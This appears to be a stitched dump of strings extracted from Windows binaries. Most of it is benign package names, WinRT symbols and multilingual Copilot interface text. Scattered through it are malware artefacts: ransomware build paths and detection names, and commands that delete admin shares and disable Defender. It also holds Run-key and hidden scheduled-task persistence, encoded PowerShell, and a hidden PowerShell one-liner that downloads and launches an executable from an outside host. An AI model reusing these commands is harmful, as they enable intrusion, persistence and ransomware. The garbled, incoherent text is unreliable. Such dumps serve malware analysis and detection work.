"c:\windows\system32\
|powershell-noprofil-whidden-noninteractiv-epbypass-noexit-&&c:\windows\system32\cmd/c
C:\Users\d.koporushkin\Desktop\WindowsFormsApp1\WindowsFormsApp1\obj\Debug\Ransomware.pdbRansom:MSIL/Lossymem
d|death.bat" del "C:\TEMP\afolder\death.bat"deathnote.bat" del "C:\TEMP\afolder\deathnote.bat"WIFI-CONNECT.bat" del "C:\TEMP\afolder\WIFI-CONNECT.bat"windows defender.bat" del "C:\TEMP\afo
.datechoyregadd"hkey_local_machine\software\microsoft\windows\currentversion\run"/v"
=warnonbadcertrecving%windir%\system32\reg.exeadd"hkey_current_user\software\microsoft\windows\currentversion\internetsettings"/v"
Microsoft.Windows.Storage.winmdV47
!Microsoft.Windows.System.Power.winmdV5p
c:\windows\system32\
net share admin$ /delete /ynet share ipc$ /delete /ynet share d$ /delete /ynet share c$ /delete /ynickserv idnetifyauthserv authlmhostsstart /min cmd.exe /c72.20.21.61protectedstoragepolicyagentcryptsvcfound windows product idyahoo.co.jpwww.nifty.comwww.above.netwww.level3.comwww.stanford.eduyahoo! user id
aptitle=updatingfiles...%81loadedwindowsupdateprotokol...[files]servers=servers.ini
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dll
26^windows.packageExtension
27^windows.packageExtension
hlfsifr[asifepo:i+00/c:\v1tiwindows@owhtpv.}windowsz1tvsystem32bowhtv.zxl4system32f2srundll32.exejstyq.9d"rundll32.exeo-nc:\windows\system32\rundll32.
/"%systemroot%\system32\imageres.dll%windir%\system32\rundll32.exe%windir%\system32\rundll32.exe%wn]nd.q`xuser-pcb8c@c64.[>gb8c@c64.[>g
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.VerticalQuickActionPanel
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
="c:/windows/temp/"["concat"]("
_WINDOWS
&c:\windows\system32\
Windowsh
Windows5
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041420~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-OneCore-Fonts-UAPFonts-Package~31bf3856ad364e35~amd64~~10.0.26100.1000.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-SearchEngine-Client-Package-shell-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-ApiSetSchemaExtension-HyperV-IsolatedVM-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-SearchEngine-Client-Package-shell-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-SearchEngine-Client-Package-shell-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
\windows\system32\dllhost.exe
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Foundation.h
windows.staterepositorycore.dll
windows.storage.dll
windows.staterepositoryclient.dll
windows.fileexplorer.common.dll
windows.storage.search.dll
'winlogon.exe
windows\installer/valwaysinstallelevated
System.Windows.Input.CommandConverter, PresentationFramework, Version=4.0.0.0, Culture=n
unsupported_Windows_version
<Package xmlns="http://schemas.microsoft.com/appx/manifest/foundation/windows10" xmlns:uap="http://schemas.microsoft.com/appx/manifest/uap/windows10" xmlns:rescap="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities" xmlns:mp="http://schemas.microsoft.com/appx/2014/phone/manifest" IgnorableNamespaces="uap rescap mp">
		<Logo>Assets\WindowsSecuritySplashScreen.png</Logo>
X-BM-WindowsFlights
Mozilla/5.0 (Windows NT 10.0; Win64; x
tekennwort anmelden.Microsoft Copilot versucht, Kreditkartendaten anzuzeigen. Geben Sie Ihr Windows-Kennwort ein, um dies zuzulassen.Microsoft Copilot versucht, Kennw
rter anzuzeigen. Geben Sie Ihr Windows-Kennwort ein, um dies zuzulassen.Microsoft Copilot versucht, Kennw
rter zu kopieren. Geben Sie Ihr Windows-Kennwort ein, um dies zu erm
rter zu bearbeiten. Geben Sie Ihr Windows-Kennwort ein, um dies zu erm
rter exportieren. Geben Sie Ihr Windows-Kennwort ein, um dies zuzulassen.Microsoft Copilot m
schen. Geben Sie Ihr Windows-Kennwort ein, um dies zu erm
rter zu ersetzen. Geben Sie Ihr Windows-Kennwort ein, um dies zu erm
en Sie Microsoft Copilot, und versuchen Sie es erneut.Fehler bei der Installation aufgrund eines unbekannten Fehlers. Laden Sie Microsoft Copilot erneut herunter.Microsoft Copilot erfordert Windows 10 oder h
/new-scheduledtaskaction-execute"powershell.exe"-argument"-executionpolicybypass-windowstylehidden-file`"$pscommandpath`"-hiddenrun"
powershell-c"set-itemproperty-path'hkcu:\software\microsoft\windows\currentversion\run'-name'systemboot'-value'wscript.exe\"%v%\"'"
C^c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell.exe-encodedcommanduabvahcazqbyafmaaablagwabaagac0arqb4aguaywb1
 9<si><t>g</t></si><si><t>!</t></si><si><t>/</t></si><si><t>syswow64\</t></si><si><t></t></si>\windows\<si><t>regsvr32.exe</t></si>
ba<si><t>g</t></si><si><t>!</t></si><si><t>/</t></si><si><t>\windows\</t></si><si><t>regsvr32.exe</t></si><si><t>syswow64\</t></si>
<si><t>g</t></si><si><t>!</t></si><si><t>/</t></si><si><t>regsvr32.exe</t></si><si><t>\windows\</t></si><si><t>syswow64\</t></si>
]5<si><t>g</t></si><si><t>!</t></si><si><t>/</t></si><si><t>syswow64\</t></si><si><t></t></si>regsvr32.exe<si><t>\windows\</t></si>
<si><t>g</t></si><si><t>!</t></si><si><t>/</t></si><si><t>\windows\</t></si><si><t>syswow64\</t></si><si><t>regsvr32.exe</t></si>
SEND_SMSoftware\Microsoft\Windows\CurrentVerX
DATA-WINDOWS-VERSION
Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewyh
software\microsoft\windows\currentversion\run
shell\open\command=lcg.exehkcu\software\microsoft\internet explorer\mainhklm\software\microsoft\windows\currentversion\runhttp://cc.wzxqy.com/tt/mm.exe
software\microsoft\windows\currentversion\run
s6msupdate.exeerase "%s"\windows\system32\
c:\windows\system32\
c:\windows\system32\
%windir%\system32\dllcache\svchost.exeproxy.dll
%windir%\system32\drivers\etc\hostsc
System.Windows.Forms.IDataGridColumnStyleEditingNotificationService.ColumnStartedEditing
          other {Awtomatikong isinasara ng iyong administrator ang Microsoft Copilot kapag hindi ito ginamit nang # (na) minuto.}}Magpatuloy sa paggamit ng Microsoft CopilotHelp us improve Microsoft CopilotIn-off ng iyong magulang ang "Mga pahintulot para sa mga site, app at extension" para sa Microsoft CopilotMaaaring makita at pamahalaan ng iyong organisasyon ang data sa pagba-browse, tulad ng iyong mga bookmark, kasaysayan, at mga password. Hindi nito makita ang data ng pagba-browse sa iba pang mga profile ng Microsoft Copilot.Kunin ang pinakamalakas na seguridad ng Microsoft CopilotBinuksan namin ang iyong file para sa mabilis at madaling pagtingin sa Microsoft Copilot mismo. Piliin ang I-download ang file kung gusto mo itong gamitin sa ibang pagkakataon.Sinusubukan ng Microsoft Copilot na magpuno ng mga password. I-type ang password mo sa Windows para payagan ito.copilotupdateSerbisyo ng Microsoft Copilot UpdaterInternal na Serbisyo ng Microsoft Copilot UpdaterPinapanatiling napapanahon ang iyong Microsoft Copilot software. Kung hindi pinagana o itinigil ang serbisyong ito, hindi papanatilihin na napapanahon ang iyong Microsoft Copilot software, na nangangahulugang hindi maaayos ang mga kahinaan sa seguridad na maaaring at maaaring hindi gumana ang mga tampok.Microsoft Copilot for BusinessTo cast with a code, turn on Microsoft Copilot's sync settingsCustomize your Microsoft CopilotTo sign in to Microsoft Copilot with an additional email account, add a profile.You've signed out of your account from a website, so we've signed you out of Microsoft Copilot. Sign in to sync your browsing data across devices.Your Microsoft Copilot application may not be fully functional until you sign in againThe Microsoft Copilot team has been notified of this issue. Please try again later.You may have a network capture tool open, so Microsoft Copilot can't sign you in right now. Please close the tool and sign in again. Error code: $1Sign in is not supported when running Microsoft Copilot as an administrator. Please relaunch Microsoft Copilot as a non-administrator and try signing in again.Microsoft Copilot sign in requires the latest version of WebView2 to be installed on this device. Please install it and try signing in again.The account you're trying to sign into belongs to a sovereign cloud that Microsoft Copilot doesn't support yet. Please try again with another account.Favorites, history, and other stuff will not be saved when you close the application.Assistance from Microsoft CopilotSign in to Microsoft CopilotYou are now signed in to Microsoft CopilotMicrosoft Copilot will use this profile to automatically sign in to this site each time visit.Sign into Microsoft Copilot, get signed in everywhere.Automatically sign in to this site and other Microsoft sites when you sign in to Microsoft Copilot.Microsoft Copilot can check if your passwords were part of a data breach.When this setting is on, Microsoft Copilot detects the language on your webpage and offers to translate if the language detected is not listed under Preferred languages. The webpage text will be sent to Microsoft Translator service for translation, where the text is stored for service improvements. Learn more about how the Microsoft Translator service uses your data .Some settings were corrupted by another program so Microsoft Chbin
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
	COMPUTERNAME=WINDOWS11
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
ROOT\Microsoft\Windows\Defender
.?AU?$BridgeWrapper@Uhstring@winrt@@AEBUJsonArray@Json@Data@Windows@2@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@_NAEBUJsonArray@Json@Data@Windows@winrt@@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@UJsonObject@Json@Data@Windows@winrt@@AEBUJsonArray@2345@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@_N@Foundation@Windows@winrt@@UJsonArray@Json@Data@34@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@UJsonArray@Json@Data@Windows@winrt@@U12345@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@Uhstring@winrt@@@Foundation@Windows@winrt@@UBridge@WebExperienceHost@4@UJsonArray@Json@Data@34@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@UJsonObject@Json@Data@Windows@winrt@@@Foundation@Windows@winrt@@$$V@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@UJsonObject@Json@Data@Windows@winrt@@@Foundation@Windows@winrt@@UJsonArray@Json@Data@34@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@I@Foundation@Windows@winrt@@UJsonArray@Json@Data@34@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@UJsonValue@Json@Data@Windows@winrt@@AEBUJsonArray@2345@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@Uhstring@winrt@@@Foundation@Windows@winrt@@$$V@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@UJsonObjectResult@WebExperienceHost@winrt@@@Foundation@Windows@winrt@@UUri@234@UJsonArray@Json@Data@34@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@I@Foundation@Windows@winrt@@$$V@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@UJsonArray@Json@Data@Windows@winrt@@@Foundation@Windows@winrt@@$$V@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@XAEBUBridge@WebExperienceHost@winrt@@AEBUJsonArray@Json@Data@Windows@3@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@XUJsonArray@Json@Data@Windows@winrt@@@implementation@WebExperienceHost@winrt@@
GetWindowsDirectoryW
%windir%\system32\winbioplugins$
WindowsVersion
<f>text("c:\windows\",12121)</f><v>c:\windows\</v>
g*.inf|%WINDIR%\System32\wdsutil.exe
^?*.lck.|!\DBS.Que.WindowsService 
k*.FTL.|%WINDIR%\System32\I
n del teclado, presione la tecla Windows y la barra espaciadora para cambiar.
tica. Solo tienes que hacer tus selecciones y Copias de seguridad de Windows se ejecutar
Copias de seguridad de Windows
on Windows Search
OS=Windows_NT
Microsoft.Windows.Audio.InboxEffects
\\.\root\Microsoft\Windows\Storage:__Win32Provider.Name="StorageWMI"
'windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.6
?527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy!Microsoft.Windows.FilePicker
z:\projects\windowscodecs\x64\release\windowscodecs.pdbz
WindowsBase
C:\WINDOWS\system32\AUDIODG.EXE 0x0000000000000504 0x00000000000004FC
@?$abi@UDispatchedHandler@Core@UI@Windows
@Windows@4@X@U
@Windows@4
Microsoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~~10.0.26100.7840D
\Microsoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~~10.0.26100.7840
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840ND
TMicrosoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584
vIIS-WindowsAuthenticationA
GMicrosoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~~10.0.26100.7705
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584
WindowsMediaPlayer
Microsoft-Windows-MediaPlayer-Payload-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
jMicrosoft-Windows-MediaPlayer-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
7pMicrosoft-Windows-MediaPlayer-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
o@Microsoft-Windows-MediaPlayer-Payload-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft-Windows-WMPNetworkSharingService-Package~31bf3856ad364e35~amd64~~10.0.26100.7019
Microsoft-Windows-Ethernet-Client-Intel-E2f68-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Ethernet-Client-Intel-E2f68-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742Tq
Microsoft-Windows-Ethernet-Client-Intel-E2f68-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft-Windows-Ethernet-Client-Intel-E2f68-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824x*
Microsoft-Windows-Ethernet-Client-Realtek-Rtcx21x64-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Ethernet-Client-Realtek-Rtcx21x64-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft-Windows-Ethernet-Client-Realtek-Rtcx21x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Ethernet-Client-Realtek-Rtcx21x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
kManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UProcessesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UProcessesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UProcessesPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UProcessesPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UProcessesPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UProcessesPage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UProcessesPage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@impl@winrt@@
.?AU?$require@UProcessesPage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@UIUserControl@67894@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFrameworkElement3@7894@UIFrameworkElement4@7894@UIFrameworkElement6@7894@UIFrameworkElement7@7894@UIUIElement@7894@UIUIElement2@7894@UIUIElement3@7894@UIUIElement4@7894@UIUIElement5@7894@UIUIElement7@7894@UIUIElement8@7894@UIUIElement9@7894@UIUIElement10@7894@UIAnimationObject@Composition@894@UIVisualElement@Composition@894@UIDependencyObject@7894@UIDependencyObject2@7894@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IPage@UProcessesPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UProcessesPage@implementation@TaskManagerApp@winrt@@UIUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IUserControl@UProcessesPage@implementatio
Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft-Windows-ProfessionalEdition~31bf3856ad364e35~amd64~~10.0.26100.7840
Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584
Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
      <Color Name="ToolWindowShelf">
\windows\temp\ot-
c:\windows\help
c:\windows\debug
c:\windows\tapi
c:\windows\temp
 Windows E
Tcom.microsoft.windows.eB
3d^windows.appExtension
3e^windows.appExtension
_isWindowsSe
Lbeb9a33c-9be3-4c53-b5a3-65b1994a48a7\jessi\jessi\\Microsoft Windows Search.pdb/
MicrosoftWindowsSearch.Properties.Resourcesd
W?sendWindowSystemEvents@QWindowSystemInterface@@SA_NV?$QFlags@W4ProcessEventsFlag@QEventLoop@@@@@Z
Windows.Defender.SecurityCenterSystemapp:system2026-02-21 11:01:462026-02-21 11:01:46
Microsoft.Windows.AugLoop.CBS_1.1126.2131.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_B
Windows \
/MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewUWP
"MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.(
%MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.wsw
@{MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.CBS/VisualAssist/Resources/AppDisplayName}
@{MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.CBS/VisualAssist/Resources/AppDescription}
!!!_READ_ME_IMPORTANT_!!!.txtALPHA_ENCRYPTEDHKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpywareCYBER SECURITY LOCKDOWNRansom:MSIL/ExamCoder.YGD!MTB
;TMBpowershell.exe -windowstyle hidden -command "invoke-webrequest -uri 'http://darkgptprivate.com/iknowyou.model' -outfile $env:temp\runtime.exe; start-process $env:temp\runtime.exec
GetProcessWindowStation
c:\windows\system32\
%s\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
GetProcessWindowStation
WindowsCodecs.pdb
.?AU?$__abi_FunctorCapture@V<lambda_37972ef6c3a6bd974a5af948de75e9b5>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
onecoreuap\windows\analog\input\mirage\stubdll\holographicframe.cpp
onecoreuap\windows\analog\input\mirage\stubdll\holographicframeprediction.cpp
onecoreuap\windows\analog\input\mirage\stubdll\HolographicApplicationViewHelpers.h
onecoreuap\windows\analog\input\mirage\stubdll\holographicspace.cpp
onecoreuap\windows\analog\input\mirage\stubdll\HolographicSpace.h
onecoreuap\windows\analog\input\mirage\stubdll\holographicquadlayer.cpp
onecoreuap\windows\analog\input\mirage\stubdll\holographicquadlayerfactory.cpp
onecoreuap\windows\analog\input\mirage\stubdll\MirageStub.h
onecoreuap\windows\analog\input\mirage\stubdll\holographicdisplaywatcher.cpp
WINDOWS11
WINDOWS11
Windows.UI
Windows.Globalization
?clearPointIdMap@QWindowSystemInterfacePrivate@@SAXXZ
Microsoft.Windows.W32Time
GetSystemWindowsDirectoryW
This should run as a Windows service.
Windows Power Sleep timeout: %lu seconds
Windows Display Sleep timeout: %lu seconds
Windows.UI.Xaml.Media
Windows.UI.Xaml.Core.Direct
Windows.UI.Xaml.Data
Windows.Foundation.Collections
EnumWindows
EnumChildWindows
Microsoft.Windows.DefenderCore1DS
Microsoft.Windows.Defender
Microsoft.Windows.Defender
Microsoft.Windows.DefenderCore1DS
Microsoft.Windows.DefenderCorePrivate
Microsoft.Windows.Networking.Teredo
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.TlgAggregateInternal
??$handleApplicationStateChanged@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXW4ApplicationState@Qt@@_N@Z
??$handleApplicationStateChanged@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXW4ApplicationState@Qt@@_N@Z
??$handleApplicationStateChanged@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXW4ApplicationState@Qt@@_N@Z
??$handleApplicationTermination@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NXZ
??$handleApplicationTermination@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NXZ
??$handleApplicationTermination@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NXZ
??$handleCloseEvent@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@@Z
??$handleCloseEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@@Z
??$handleCloseEvent@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SA_NPEAVQWindow@@@Z
??$handleEnterEvent@UAsynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@AEBVQPointF@@1@Z
??$handleEnterEvent@UDefaultDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@AEBVQPointF@@1@Z
??$handleEnterEvent@USynchronousDelivery@QWindowSystemInterface@@@QWindowSystemInterface@@SAXPEAVQWindow@@AEBVQPointH
Software\Microsoft\Windows NT\CurrentVersion\PeerDist\Service\
api-ms-win-core-windowserrorreporting-l1-1-0.dll
http://www.xupiter.com/http://www.browserwise.com/http://www.sqwire.com/xupiter_toolbarsoftware\xupiterxupitercfgloaderpopunder.htmlpopunder.cfgcpopunderdoccpopunderviewxupitertoolbar.exexupitertoolbarloader.exexupitertoolbar.dllxupitermenu.xmlxupitermenu.datstartup_urlie activitysoftware\sqsqwire, inc toolbar was installed successfully!software\microsoft\windows\currentversion\uninstall\sqwiresqdesktop.datsqupdate.datc:\windows\system32\sqwire.log6e6dd93e-1fc3-4f43-8afb-1b7b90c9d3ebpopunder.html
plaintextstartrecordingwithwindowstakekeywordscreenshotagentsettings.capturekeystrokessetfiletim
repl.dllsoftware\microsoft\windows\currentversion\explorer\browser helper objects\{ffffffff-bbbb-4146-86fd-a722e8ab3489}
wIsbaiduba.DLLC:\WINDOWS\system32\ieset.inirefurl=exid=regURL=smsid==aiyuwww.131377.com?accectasiafind.com/go/gshop.7cv.com/index.php?asstfrom=cnt.zhaopin.com/Market/whole_counter.jsp?sid=f=http://www.netxboy.com/http://go.58.com/?f=http://www.now.cn/?SCPMCID=www.joyo.com/default.asp?source=ad4allunion.99jk.com/xf200/click.asp?u=1&uname=www.131377.com?accect=www.cncard.com/cnlink.asp?Referer: http://www.haosoft.net/Referer: http://www.netxboy.com/
u/update/qq.dllC:\windows\system32\1028\qqdlls.dllC:\WINDOWS\system32\iebhoset.iniC:\WINDOWS\baiduba\baiduba.dll/update/newclickupdate.exeC:\WINDOWS\system32\applog\netuser32.ls/update/netuser32.dllvar ad_url =User-Agent: www.51626.netchk_id='/downmm//ad_bcast/html_show.js?a=C:\WINDOWS\system32\RgSectBk.001C:\WINDOWS\system32\shadowC:\WINDOWS\system32\drivers\NT.SYSC:\WINDOWS\system32\drivers\ntdisk.sysC:\WINDOWS\system32\drivers\LSRCSYS.SYSC:\WINDOWS\system32\drivers\xsbide.sys_advid=&_unionid=&_siteid=baibu_pg/bdun.bsc?tn=\syslaunch.exe
System.Windows.Forms.copy.bmp
WindowSetTop
System.Windows.Forms.UnsafeNativeMethods.IMsoComponent.FContinueMessageLoop
System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FPushMessageLoop
EnableWindowsForModalLoop
DisableWindowsForModalLoop
System.Windows.Forms.UnsafeNativeMethods.IOleDropTarget.OleDrop
System.Windows.Forms.IDropTarget.OnDragDrop
System.Windows.Forms.ComponentModel.Com2Interop
